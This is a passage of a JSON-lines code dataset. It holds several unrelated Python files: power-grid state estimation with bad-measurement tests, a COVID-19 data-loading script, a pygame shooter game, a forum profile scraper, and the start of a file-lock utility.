self.net.measurement[(self.net.measurement.type == \"q\")\n & (self.net.measurement.element_type == \"line\")]\n if len(q_measurements):\n meas_from = q_measurements[(q_measurements.bus.values.astype(int) ==\n self.net.line.from_bus[q_measurements.element]).values]\n meas_to = q_measurements[(q_measurements.bus.values.astype(int) ==\n self.net.line.to_bus[q_measurements.element]).values]\n ix_from = meas_from.element.values.astype(int)\n ix_to = meas_to.element.values.astype(int)\n branch_append[ix_from, 8] = meas_from.value.values * 1e3 / self.s_ref\n branch_append[ix_from, 9] = meas_from.std_dev.values * 1e3 / self.s_ref\n branch_append[ix_to, 10] = meas_to.value.values * 1e3 / self.s_ref\n branch_append[ix_to, 11] = meas_to.std_dev.values * 1e3 / self.s_ref\n\n i_tr_measurements = self.net.measurement[(self.net.measurement.type == \"i\")\n & (self.net.measurement.element_type ==\n \"transformer\")]\n if len(i_tr_measurements):\n meas_from = i_tr_measurements[(i_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.hv_bus[i_tr_measurements.element]).values]\n meas_to = i_tr_measurements[(i_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.lv_bus[i_tr_measurements.element]).values]\n ix_from = meas_from.element.values.astype(int)\n ix_to = meas_to.element.values.astype(int)\n i_a_to_pu_from = (self.net.bus.vn_kv[meas_from.bus] * 1e3 / self.s_ref).values\n i_a_to_pu_to = (self.net.bus.vn_kv[meas_to.bus] * 1e3 / self.s_ref).values\n branch_append[ix_from, 0] = meas_from.value.values * i_a_to_pu_from\n branch_append[ix_from, 1] = meas_from.std_dev.values * i_a_to_pu_from\n branch_append[ix_to, 2] = meas_to.value.values * i_a_to_pu_to\n branch_append[ix_to, 3] = meas_to.std_dev.values * i_a_to_pu_to\n\n p_tr_measurements = self.net.measurement[(self.net.measurement.type == \"p\") &\n (self.net.measurement.element_type ==\n \"transformer\")]\n if len(p_tr_measurements):\n meas_from = p_tr_measurements[(p_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.hv_bus[p_tr_measurements.element]).values]\n meas_to = p_tr_measurements[(p_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.lv_bus[p_tr_measurements.element]).values]\n ix_from = len(self.net.line) + meas_from.element.values.astype(int)\n ix_to = len(self.net.line) + meas_to.element.values.astype(int)\n branch_append[ix_from, 4] = meas_from.value.values * 1e3 / self.s_ref\n branch_append[ix_from, 5] = meas_from.std_dev.values * 1e3 / self.s_ref\n branch_append[ix_to, 6] = meas_to.value.values * 1e3 / self.s_ref\n branch_append[ix_to, 7] = meas_to.std_dev.values * 1e3 / self.s_ref\n\n q_tr_measurements = self.net.measurement[(self.net.measurement.type == \"q\") &\n (self.net.measurement.element_type ==\n \"transformer\")]\n if len(q_tr_measurements):\n meas_from = q_tr_measurements[(q_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.hv_bus[q_tr_measurements.element]).values]\n meas_to = q_tr_measurements[(q_tr_measurements.bus.values.astype(int) ==\n self.net.trafo.lv_bus[q_tr_measurements.element]).values]\n ix_from = len(self.net.line) + meas_from.element.values.astype(int)\n ix_to = len(self.net.line) + meas_to.element.values.astype(int)\n branch_append[ix_from, 8] = meas_from.value.values * 1e3 / self.s_ref\n branch_append[ix_from, 9] = meas_from.std_dev.values * 1e3 / self.s_ref\n branch_append[ix_to, 10] = meas_to.value.values * 1e3 / self.s_ref\n branch_append[ix_to, 11] = meas_to.std_dev.values * 1e3 / self.s_ref\n\n ppc[\"bus\"] = np.hstack((ppc[\"bus\"], bus_append))\n ppc[\"branch\"] = np.hstack((ppc[\"branch\"], branch_append))\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n ppc_i = ext2int(ppc)\n\n p_bus_not_nan = ~np.isnan(ppc_i[\"bus\"][:, bs_cols + 2])\n p_line_f_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 4])\n p_line_t_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 6])\n q_bus_not_nan = ~np.isnan(ppc_i[\"bus\"][:, bs_cols + 4])\n q_line_f_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 8])\n q_line_t_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 10])\n v_bus_not_nan = ~np.isnan(ppc_i[\"bus\"][:, bs_cols + 0])\n i_line_f_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 0])\n i_line_t_not_nan = ~np.isnan(ppc_i[\"branch\"][:, br_cols + 2])\n\n # piece together our measurement vector z\n z = np.concatenate((ppc_i[\"bus\"][p_bus_not_nan, bs_cols + 2],\n ppc_i[\"branch\"][p_line_f_not_nan, br_cols + 4],\n ppc_i[\"branch\"][p_line_t_not_nan, br_cols + 6],\n ppc_i[\"bus\"][q_bus_not_nan, bs_cols + 4],\n ppc_i[\"branch\"][q_line_f_not_nan, br_cols + 8],\n ppc_i[\"branch\"][q_line_t_not_nan, br_cols + 10],\n ppc_i[\"bus\"][v_bus_not_nan, bs_cols + 0],\n ppc_i[\"branch\"][i_line_f_not_nan, br_cols + 0],\n ppc_i[\"branch\"][i_line_t_not_nan, br_cols + 2]\n )).real.astype(np.float64)\n\n # number of nodes\n n_active = len(np.where(ppc_i[\"bus\"][:, 1] != 4)[0])\n slack_buses = np.where(ppc_i[\"bus\"][:, 1] == 3)[0]\n\n # Check if observability criterion is fulfilled and the state estimation is possible\n if len(z) < 2 * n_active - 1:\n self.logger.error(\"System is not observable (cancelling)\")\n self.logger.error(\"Measurements available: %d. Measurements required: %d\" %\n (len(z), 2 * n_active - 1))\n return False\n\n # Set the starting values for all active buses\n v_m = ppc_i[\"bus\"][:, 7]\n delta = ppc_i[\"bus\"][:, 8] * np.pi / 180 # convert to rad\n delta_masked = np.ma.array(delta, mask=False)\n delta_masked.mask[slack_buses] = True\n non_slack_buses = np.arange(len(delta))[~delta_masked.mask]\n\n # Matrix calculation object\n sem = wls_matrix_ops(ppc_i, slack_buses, non_slack_buses, self.s_ref, bs_cols, br_cols)\n\n # state vector\n E = np.concatenate((delta_masked.compressed(), v_m))\n\n # Covariance matrix R\n r_cov = np.concatenate((ppc_i[\"bus\"][p_bus_not_nan, bs_cols + 3],\n ppc_i[\"branch\"][p_line_f_not_nan, br_cols + 5],\n ppc_i[\"branch\"][p_line_t_not_nan, br_cols + 7],\n ppc_i[\"bus\"][q_bus_not_nan, bs_cols + 5],\n ppc_i[\"branch\"][q_line_f_not_nan, br_cols + 9],\n ppc_i[\"branch\"][q_line_t_not_nan, br_cols + 11],\n ppc_i[\"bus\"][v_bus_not_nan, bs_cols + 1],\n ppc_i[\"branch\"][i_line_f_not_nan, br_cols + 1],\n ppc_i[\"branch\"][i_line_t_not_nan, br_cols + 3]\n )).real.astype(np.float64)\n\n r_inv = csr_matrix(np.linalg.inv(np.diagflat(r_cov) ** 2))\n\n current_error = 100\n current_iterations = 0\n\n while current_error > self.tolerance and current_iterations < self.max_iterations:\n self.logger.debug(\" Starting iteration %d\" % (1 + current_iterations))\n\n try:\n\n # create h(x) for the current iteration\n h_x = sem.create_hx(v_m, delta)\n\n # Residual r\n r = csr_matrix(z - h_x).T\n\n # Jacobian matrix H\n H = csr_matrix(sem.create_jacobian(v_m, delta))\n\n # if not np.linalg.cond(H) < 1 / sys.float_info.epsilon:\n # self.logger.error(\"Error in matrix H\")\n\n # Gain matrix G_m\n # G_m = H^t * R^-1 * H\n G_m = H.T * (r_inv * H)\n\n # State Vector difference d_E\n # d_E = G_m^-1 * (H' * R^-1 * r)\n d_E = spsolve(G_m, H.T * (r_inv * r))\n E += d_E\n\n # Update V/delta\n delta[non_slack_buses] = E[:len(non_slack_buses)]\n v_m = np.squeeze(E[len(non_slack_buses):])\n\n current_iterations += 1\n current_error = np.max(np.abs(d_E))\n self.logger.debug(\"Current error: %.4f\" % current_error)\n except np.linalg.linalg.LinAlgError:\n self.logger.error(\"A problem appeared while using the linear algebra methods.\"\n \"Check and change the measurement set.\")\n return False\n # Print output for results\n if current_error <= self.tolerance:\n successful = True\n self.logger.info(\"WLS State Estimation successful (%d iterations)\" % current_iterations)\n else:\n successful = False\n self.logger.info(\"WLS State Estimation not successful (%d/%d iterations\" %\n (current_iterations, self.max_iterations))\n\n # write voltage into ppc\n ppc_i[\"bus\"][:, 7] = v_m\n ppc_i[\"bus\"][:, 8] = delta * 180 / np.pi # convert to degree\n\n # calculate bus powers\n v_cpx = v_m * np.exp(1j * delta)\n bus_powers_conj = np.zeros(len(v_cpx), dtype=np.complex128)\n for i in range(len(v_cpx)):\n bus_powers_conj[i] = np.dot(sem.Y_bus[i, :], v_cpx) * np.conjugate(v_cpx[i])\n ppc_i[\"bus\"][:, 2] = bus_powers_conj.real # saved in per unit\n ppc_i[\"bus\"][:, 3] = - bus_powers_conj.imag # saved in per unit\n\n # convert to pandapower indices\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n ppc = int2ext(ppc_i)\n _set_buses_out_of_service(ppc)\n\n # Store results, overwrite old results\n self.net.res_bus_est = pd.DataFrame(columns=[\"vm_pu\", \"va_degree\", \"p_kw\", \"q_kvar\"],\n index=self.net.bus.index)\n self.net.res_line_est = pd.DataFrame(columns=[\"p_from_kw\", \"q_from_kvar\", \"p_to_kw\",\n \"q_to_kvar\", \"pl_kw\", \"ql_kvar\", \"i_from_ka\",\n \"i_to_ka\", \"i_ka\", \"loading_percent\"],\n index=self.net.line.index)\n\n bus_idx = mapping_table[self.net[\"bus\"].index.values]\n self.net[\"res_bus_est\"][\"vm_pu\"] = ppc[\"bus\"][bus_idx][:, 7]\n self.net[\"res_bus_est\"][\"va_degree\"] = ppc[\"bus\"][bus_idx][:, 8]\n\n self.net.res_bus_est.p_kw = - get_values(ppc[\"bus\"][:, 2], self.net.bus.index,\n mapping_table) * self.s_ref / 1e3\n self.net.res_bus_est.q_kvar = - get_values(ppc[\"bus\"][:, 3], self.net.bus.index,\n mapping_table) * self.s_ref / 1e3\n self.net.res_line_est = calculate_line_results(self.net, use_res_bus_est=True)\n\n # Store some variables required for Chi^2 and r_N_max test:\n self.R_inv = r_inv.toarray()\n self.Gm = G_m.toarray()\n self.r = r.toarray()\n self.H = H.toarray()\n self.Ht = self.H.T\n self.hx = h_x\n self.V = v_m\n self.delta = delta\n\n return successful\n\n def perform_chi2_test(self, v_in_out=None, delta_in_out=None,\n calculate_voltage_angles=True, chi2_prob_false=0.05):\n \"\"\"\n The function perform_chi2_test performs a Chi^2 test for bad data and topology error\n detection. The function can be called with the optional input arguments v_in_out and\n delta_in_out. Then, the Chi^2 test is performed after calling the function estimate using\n them as input arguments. It can also be called without these arguments if it is called\n from the same object with which estimate had been called beforehand. Then, the Chi^2 test is\n performed for the states estimated by the funtion estimate and stored internally in a\n member variable of the class state_estimation. As a optional argument the probability\n of a false measurement can be provided additionally. For bad data detection, the function\n perform_rn_max_test is more powerful and should be the function of choice. For topology\n error detection, however, perform_chi2_test should be used.\n\n INPUT:\n **v_in_out** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage magnitudes in p.u. (sorted by bus index)\n\n **delta_in_out** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage angles in degrees (sorted by bus index)\n \n OPTIONAL:\n **calculate_voltage_angles** - (boolean) - Take into account absolute voltage angles and phase\n shifts in transformers, if init is 'slack'. Default is True.\n \n **chi2_prob_false** (float) - probability of error / false alarms (standard value: 0.05)\n\n OUTPUT:\n **successful** (boolean) - True if the estimation process was successful\n\n EXAMPLE:\n perform_chi2_test(np.array([1.0, 1.0, 1.0]), np.array([0.0, 0.0, 0.0]), 0.97)\n\n \"\"\" \n # 'flat'-start conditions\n if v_in_out is None:\n v_in_out = np.ones(self.net.bus.shape[0])\n if delta_in_out is None:\n delta_in_out = np.zeros(self.net.bus.shape[0]) \n \n # perform SE\n successful = self.estimate(v_in_out, delta_in_out, calculate_voltage_angles)\n\n # Performance index J(hx)\n J = np.dot(self.r.T, np.dot(self.R_inv, self.r))\n\n # Number of measurements\n m = len(self.net.measurement)\n\n # Number of state variables (the -1 is due to the reference bus)\n n = len(self.V) + len(self.delta) - 1\n\n # Chi^2 test threshold\n test_thresh = chi2.ppf(1 - chi2_prob_false, m - n)\n\n # Print results\n self.logger.debug(\"Result of Chi^2 test:\")\n self.logger.debug(\"Number of measurements: %d\" % m)\n self.logger.debug(\"Number of state variables: %d\" % n)\n self.logger.debug(\"Performance index: %.2f\" % J)\n self.logger.debug(\"Chi^2 test threshold: %.2f\" % test_thresh)\n\n if J <= test_thresh:\n self.bad_data_present = False\n self.logger.info(\"Chi^2 test passed. No bad data or topology error detected.\")\n else:\n self.bad_data_present = True\n self.logger.info(\"Chi^2 test failed. Bad data or topology error detected.\")\n\n if (v_in_out is not None) and (delta_in_out is not None):\n return successful\n\n def perform_rn_max_test(self, v_in_out=None, delta_in_out=None,\n calculate_voltage_angles=True, rn_max_threshold=3.0, chi2_prob_false=0.05):\n \"\"\"\n The function perform_rn_max_test performs a largest normalized residual test for bad data\n identification and removal. It takes two input arguments: v_in_out and delta_in_out.\n These are the initial state variables for the combined estimation and bad data\n identification and removal process. They can be initialized as described above, e.g.,\n using a \"flat\" start. In an iterative process, the function performs a state estimation,\n identifies a bad data measurement, removes it from the set of measurements\n (only if the rn_max threshold is violated by the largest residual of all measurements,\n which can be modified), performs the state estimation again,\n and so on and so forth until no further bad data measurements are detected.\n\n INPUT:\n **v_in_out** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage magnitudes in p.u. (sorted by bus index)\n\n **delta_in_out** (np.array, shape=(1,), optional) - Vector with initial values for all\n voltage angles in degrees (sorted by bus index)\n \n OPTIONAL: \n **calculate_voltage_angles** - (boolean) - Take into account absolute voltage angles and phase\n shifts in transformers, if init is 'slack'. Default is True.\n \n **rn_max_threshold** (float) - Identification threshold to determine\n if the largest normalized residual reflects a bad measurement\n (standard value of 3.0)\n \n **chi2_prob_false** (float) - probability of error / false alarms\n (standard value: 0.05)\n\n OUTPUT:\n **successful** (boolean) - True if the estimation process was successful\n\n EXAMPLE:\n perform_rn_max_test(np.array([1.0, 1.0, 1.0]), np.array([0.0, 0.0, 0.0]), 5.0, 0.05)\n\n \"\"\"\n # 'flat'-start conditions\n if v_in_out is None:\n v_in_out = np.ones(self.net.bus.shape[0])\n if delta_in_out is None:\n delta_in_out = np.zeros(self.net.bus.shape[0]) \n \n num_iterations = 0\n\n v_in = v_in_out\n delta_in = delta_in_out\n\n self.bad_data_present = True\n\n while self.bad_data_present and (num_iterations < 11):\n # Estimate the state with bad data identified in previous iteration\n # removed from set of measurements:\n successful = self.estimate(v_in, delta_in, calculate_voltage_angles)\n v_in_out = self.net.res_bus_est.vm_pu.values\n delta_in_out = self.net.res_bus_est.va_degree.values\n\n # Perform a Chi^2 test to determine whether bad data is to be removed.\n self.perform_chi2_test(v_in_out, delta_in_out, calculate_voltage_angles=calculate_voltage_angles,\n chi2_prob_false=chi2_prob_false)\n\n try:\n # Error covariance matrix:\n R = np.linalg.inv(self.R_inv)\n\n # Covariance matrix of the residuals: \\Omega = S*R = R - H*G^(-1)*H^T\n # (S is the sensitivity matrix: r = S*e):\n Omega = R - np.dot(self.H, np.dot(np.linalg.inv(self.Gm), self.Ht))\n\n # Diagonalize \\Omega:\n Omega = np.diag(np.diag(Omega))\n\n # Compute squareroot (|.| since some -0.0 produced nans):\n Omega = np.sqrt(np.absolute(Omega))\n\n OmegaInv = np.linalg.inv(Omega)\n\n # Compute normalized residuals (r^N_i = |r_i|/sqrt{Omega_ii}):\n rN = np.dot(OmegaInv, np.absolute(self.r))\n\n if max(rN) <= rn_max_threshold:\n self.logger.info(\n \"Largest normalized residual test passed. No bad data detected.\")\n else:\n self.logger.info(\n \"Largest normalized residual test failed. Bad data identified.\")\n\n if self.bad_data_present:\n # Identify bad data: Determine index corresponding to max(rN):\n idx_rN = np.argsort(rN, axis=0)[len(rN) - 1]\n\n # Sort measurement indexes:\n sorted_meas_idxs = np.concatenate(\n (self.net.measurement.loc[(self.net.measurement['type'] == 'p') & (\n self.net.measurement['element_type'] == 'bus')].index,\n self.net.measurement.loc[(self.net.measurement['type'] == 'p') & (\n self.net.measurement['element_type'] == 'line')].index,\n self.net.measurement.loc[(self.net.measurement['type'] == 'q') & (\n self.net.measurement['element_type'] == 'bus')].index,\n self.net.measurement.loc[(self.net.measurement['type'] == 'q') & (\n self.net.measurement['element_type'] == 'line')].index,\n self.net.measurement.loc[(self.net.measurement['type'] == 'v') & (\n self.net.measurement['element_type'] == 'bus')].index,\n self.net.measurement.loc[(self.net.measurement['type'] == 'i') & (\n self.net.measurement['element_type'] == 'line')].index))\n\n # Determine index of measurement to be removed:\n meas_idx = sorted_meas_idxs[idx_rN]\n\n # Remove bad measurement:\n self.net.measurement.drop(meas_idx, inplace=True)\n self.logger.debug(\"Bad data removed from the set of measurements.\")\n else:\n self.logger.debug(\"No bad data removed from the set of measurements.\")\n except np.linalg.linalg.LinAlgError:\n self.logger.error(\"A problem appeared while using the linear algebra methods.\"\n \"Check and change the measurement set.\")\n return False\n \n self.logger.debug(\"rn_max identification threshold: %.2f\" % rn_max_threshold)\n \n num_iterations += 1\n\n return successful\n\n\nif __name__ == \"__main__\":\n from pandapower.test.estimation.test_wls_estimation import test_3bus\n test_3bus()\n","sub_path":"pandapower/estimation/state_estimation.py","file_name":"state_estimation.py","file_ext":"py","file_size_in_byte":38343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313849676","text":"import numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\n\n'''\n#for static fetching of data\n\ndeath_df = pd.read_csv('Data/time_series_covid19_deaths_global.csv')\nconfirmed_df = pd.read_csv('Data/time_series_covid19_confirmed_global.csv')\nrecovered_df = pd.read_csv('Data/time_series_covid19_recovered_global.csv')\ncountry_df = pd.read_csv('Data/cases_country.csv')\ndelta_df = pd.read_csv('Data/cases_time.csv')\n'''\n\ndeath_df = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv')\nconfirmed_df = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv')\nrecovered_df = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_recovered_global.csv')\ncountry_df = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/web-data/data/cases_country.csv')\ndelta_df = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/web-data/data/cases_time.csv')\n\ncountry_df.reset_index()\ndelta_df = delta_df[['Country_Region', 'Delta_Confirmed', 'Last_Update']]\n\ncountry_df.columns = map(str.lower, country_df.columns)\nconfirmed_df.columns = map(str.lower, confirmed_df.columns)\ndeath_df.columns = map(str.lower, death_df.columns)\nrecovered_df.columns = map(str.lower, recovered_df.columns)\ndelta_df.columns = map(str.lower, delta_df.columns)\nconfirmed_df = confirmed_df.rename(columns={'province/state': 'state', 'country/region': 'country', 'lat': 'lat', 'long': 'lon'})\nrecovered_df = recovered_df.rename(columns={'province/state': 'state', 'country/region': 'country'})\ndeath_df = death_df.rename(columns={'province/state': 'state', 'country/region': 'country'})\ncountry_df = country_df.rename(columns={'country_region': 'country'})\ndelta_df = delta_df.rename(columns={'last_update': 'date', 'country_region': 'country_name'})\n\nlist_all_countries = list(confirmed_df['country'].unique())\nconfirmed_total = int(country_df['confirmed'].sum())\ndeaths_total = int(country_df['deaths'].sum())\nrecovered_total = int(country_df['recovered'].sum())\nactive_total = int(country_df['active'].sum())\n\nconfirmed_today = int(confirmed_df[confirmed_df.columns[-1]].sum() - confirmed_df[confirmed_df.columns[-2]].sum())\nconfirmed_sign = '+' if confirmed_today>=0 else '-'\ndeath_today = int(death_df[death_df.columns[-1]].sum() - death_df[death_df.columns[-2]].sum())\ndeath_sign = '+' if death_today>=0 else '-'\nrecovered_today = int(recovered_df[recovered_df.columns[-1]].sum() - recovered_df[recovered_df.columns[-2]].sum())\nrecovered_sign = '+' if recovered_today>=0 else '-'\n\ncountry_stats_df = country_df[['country','confirmed', 'deaths', 'recovered']]\nfig = go.FigureWidget( layout=go.Layout() )\n\ndelta_pivoted_df = delta_df.pivot_table(index='date', columns='country_name', values='delta_confirmed', aggfunc=np.sum)\ndelta_pivoted_df.reset_index(level=0, inplace=True)\ndelta_world_df = pd.DataFrame()\ndelta_world_df['World'] = delta_pivoted_df[delta_pivoted_df.columns].sum(axis=1)\ndelta_world_df['date'] = delta_pivoted_df['date']\n","sub_path":"Base.py","file_name":"Base.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"251708316","text":"#coding=utf-8\nimport pygame\nimport random\n#导入pygame模块\nfrom pygame.locals import *\n#导入检测键盘的子模块\nimport time\nclass Base(object):\n\tdef __init__(self,screen,planeName):\n\t\tself.planeName = planeName \n\t\tself.screen = screen\n\tdef display(self):\n\t\tself.screen.blit(self.imageFile,(self.x,self.y))\nclass PublicAircraft(Base):\n\tdef __init__(self,screen,planeName):\n\t\tsuper().__init__(screen,planeName)\n\t\tself.imageFile = pygame.image.load(self.imagePath).convert()\n\t\tself.bulletList = []\n\tdef display(self):\n\t\tsuper().display()\n\t\tfor bullet in self.bulletList:\n\t\t\tbullet.display()\n\t\t\tbullet.move()\n\t\tneedDelBullet = []\n\t\tfor i in self.bulletList:\n\t\t\tif i.judge():\n\t\t\t\tneedDelBullet.append(i)\n\t\tfor i in needDelBullet:\n\t\t\tself.bulletList.remove(i)\n\tdef shoot(self):\n\t\tnewBullet = PublicBullet(self.x,self.y,self.screen,self.planeName)\n\t\tself.bulletList.append(newBullet)\nclass PublicBullet(Base):\n\tdef __init__(self,x,y,screen,planeName):\n\t\tsuper().__init__(screen,planeName)\n\t\t#定义默认值,接收从飞机类中传过来的参数\n\t\tif planeName == \"aircraft\":\n\t\t\tself.x = x+40\n\t\t\tself.y = y-20\n\t\t\timagePath = \"./feiji/bullet-3.gif\"\n\t\telif planeName == \"enemy\":\n\t\t\tself.x = x+30\n\t\t\tself.y = y+30\n\t\t\timagePath = \"./feiji/bullet-1.gif\"\n\t\tself.imageFile = pygame.image.load(imagePath).convert()\n\tdef move(self):\n\t\tif self.planeName == \"aircraft\":\n\t\t\tself.y -= 2\n\t\tif self.planeName == \"enemy\":\n\t\t\tself.y += 2\n\tdef judge(self):\n\t\tif self.y<0 or self.y>890:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\nclass HeroAircraft(PublicAircraft):\n\tdef __init__(self,screen,planeName):\n\t\tself.x = 250\n\t\tself.y = 600\n\t\tself.imagePath = \"./feiji/hero.gif\"\n\t\tsuper().__init__(screen,planeName)\n\tdef moveLeft(self):\n\t\tself.x -= 20\n\tdef moveRight(self):\n\t\tself.x += 20\n\tdef moveUp(self):\n\t\tself.y -= 20\n\tdef moveDown(self):\n\t\tself.y += 20\nclass EnemyAircraft(PublicAircraft):\n\tdef __init__(self,screen,planeName):\n\t\tself.x = 0\n\t\tself.y = 0\n\t\tself.imagePath = \"./feiji/enemy-1.gif\"\n\t\tsuper().__init__(screen,planeName)\n\t\tself.direction = \"right\"\n\tdef move(self):\n\t\tif self.direction == \"right\":\n\t\t\tself.x += 2\n\t\telif self.direction == \"left\":\n\t\t\tself.x -= 2\n\t\tif self.x > 480-50:\n\t\t\tself.direction = \"left\"\n\t\telif self.x < 0:\n\t\t\tself.direction = \"right\"\n\tdef shoot(self):\n\t\tnum = random.randint(1,5)\n\t\tif num == 5:\n\t\t\tsuper().shoot()\n\t\t\tprint(\"敌人射子弹\")\n\n\nif __name__ == '__main__':\n#__name__变量,判断该模块是作为脚本被执行,还是被调用,当直接执行的时候,就是main,在被别人调用的时候,就是name\n\tscreen = pygame.display.set_mode((480,980),0,32)\n#设置屏幕,0,32是默认值\n\tbgImageFile = './feiji/background.png'\n#导入图片\n\tbackground = pygame.image.load(bgImageFile).convert()\n#背景用background保存\n\taircraft = HeroAircraft(screen,\"aircraft\")\n\tenemy = EnemyAircraft(screen,\"enemy\")\n\t#aircraftImageFile = './feiji/hero.gif'\n\t#导入飞机图片\n\t#aircraft = pygame.image.load(aircraftImageFile).convert()\n\t#飞机图用aircraft保存\n\nwhile True:\n\tscreen.blit(background,(0,0))\n\t#设置背景在屏幕的坐标,0.0是左上角的坐标。\n\t#screen.blit(aircraft,(x,y))\n\t#设置飞机在屏幕的坐标\n\taircraft.display()\n\tenemy.move()\n\tenemy.shoot()\n\tenemy.display()\n\n\tfor event in pygame.event.get():\n\t\t#在发生的事件当中循环,意思可以等同于获取所有的键盘操作\n\t\tif event.type == QUIT:\n\t\t\t#判断是否是按下了关闭键\n\t\t\tprint(\"exit\")\n\t\t\texit()\n\t\t\t#退出程序\n\t\telif event.type ==KEYDOWN:\n\t\t\t#判断是否按下了按键\n\t\t\tif event.key == K_a or event.key == K_LEFT:\n\t\t\t#判断是否按下了a键或者左键\n\t\t\t\tprint('左')\n\t\t\t\taircraft.moveLeft()\n\t\t\telif event.key == K_d or event.key == K_RIGHT:\n\t\t\t#判断是否按下了d键或者右键\n\t\t\t\tprint('右')\n\t\t\t\taircraft.moveRight()\n\t\t\telif event.key == K_w or event.key == K_UP:\n\t\t\t#判断是否按下了w键或者上键\n\t\t\t\tprint('上')\n\t\t\t\taircraft.moveUp()\n\t\t\telif event.key == K_s or event.key == K_DOWN:\n\t\t\t#判断是否按下了s键或者下键\n\t\t\t\tprint('下')\n\t\t\t\taircraft.moveDown()\n\t\t\telif event.key == K_SPACE:\n\t\t\t#判断是否按下了空格键\n\t\t\t\tprint('射子弹')\n\t\t\t\taircraft.shoot()\n\ttime.sleep(0.01)\n\tpygame.display.update()\n\t#更新屏幕","sub_path":"00-2017/基础班/打飞机/dafeiji.py","file_name":"dafeiji.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459090833","text":"from bs4 import BeautifulSoup\nfrom sarp2 import session, logged_in\nimport sys\nfrom typing import Dict\n\n\ndef profile_info(userid) -> Dict[str, str]:\n\thtml: str = session.get('http://www.gta-sarp.com/forums/member.php?{}&tab=aboutme'.format(userid)).text\n\tsoup: BeautifulSoup = BeautifulSoup(html, 'html.parser')\n\n\t# Grabs the user's signature if it exists.\n\tsignature = None if not 'Signature' in html else soup.find('div',\n\t\t\t\t\t\t\tclass_='blockbody subsection userprof_content userprof_content_border').get_text().strip()\n\n\treturn {\n\t\t'username': soup.find('span', class_='member_username').get_text().strip(),\n\t\t'join_date': soup.find_all('dl', class_='stats')[0].find('dd').get_text().strip(),\n\t\t'current_activity': soup.find_all('dl', class_='stats')[1].find('dd').get_text().strip(),\n\t\t'avatar': 'http://www.gta-sarp.com' + soup.find('span', class_='avatarcontainer').find('img')['src'].strip(),\n\t\t'friend_count': int(soup.find('span', class_='friends_total').get_text()),\n\t\t'is_online': True if 'online' in soup.find('img', class_='inlineimg onlinestatus')['alt'] else False,\n\t}","sub_path":"sarp2/SARP.py","file_name":"SARP.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"275645376","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n# Copyright: [CUP] - See LICENSE for details.\n# Authors: Guannan Ma (@mythmgn),\n\"\"\"\n:description:\n file related functions\n\"\"\"\nimport os\nimport sys\nimport fcntl\n\nfrom cup import err\nfrom cup import decorators\nfrom cup import platforms\n\nif platforms.is_linux():\n import tempfile\n\n__all__ = [\n 'LockFile', 'FILELOCK_SHARED', 'FILELOCK_EXCLUSIVE',\n 'FILELOCK_NONBLOCKING', 'FILELOCK_UNLOCK', 'TempFile'\n]\n\n\nFILELOCK_EXCLUSIVE = fcntl.LOCK_EX\nFILELOCK_SHARED = fcntl.LOCK_SH\nFILELOCK_NONBLOCKING = fcntl.LOCK_NB\nFILELOCK_UNLOCK = fcntl.LOCK_UN\n\n\nclass LockFile(object):\n \"\"\"\n lock file class\n \"\"\"\n\n def __init__(self, fpath, locktype=FILELOCK_EXCLUSIVE):\n \"\"\"\n exclusive lockfile, by default.\n\n Notice that the file CANNOT exist before you intialize a LockFile obj.\n Otherwise, it will raise cup.err.LockFileError\n\n :raise:\n cup.err.LockFileError if we encounter errors\n \"\"\"\n self._fpath = fpath\n self._locktype = locktype\n self._fhandle = None\n try:\n # if FILELOCK_EXCLUSIVE == locktype:\n # self._fhandle = os.open(\n # self._fpath, os.O_CREAT|os.O_EXCL|os.O_RDWR\n # )\n # else:\n self._fhandle = os.open(\n self._fpath, os.O_CREAT | os.O_RDWR\n )\n except IOError as error:\n raise err.LockFileError(error)\n except OSError as error:\n raise err.LockFileError(error)\n except Exception as error:\n raise err.LockFileError(\n 'catch unkown error type:{0}'.format(error)\n )\n\n def __del__(self):\n \"\"\"del the instance\"\"\"\n try:\n if self._fhandle is not None:\n os.close(self._fhandle)\n # pylint: disable=W0703\n except Exception as error:\n sys.stderr.write('failed to close lockfile:{0}, msg:{1}'.format(\n self._fpath, error)\n )\n sys.stderr.flush()\n\n @decorators.needposix\n def lock(self, blocking=True):\n \"\"\"\n lock the file\n\n :param blocking:\n If blocking is True, will block there until cup gets the lock.\n True by default.\n\n :return:\n return False if locking fails\n\n :raise Exception:\n raise cup.err.LockFileError if blocking is False and\n the lock action failed\n \"\"\"\n flags = 0x1\n if FILELOCK_SHARED == self._locktype:\n flags = FILELOCK_SHARED\n elif 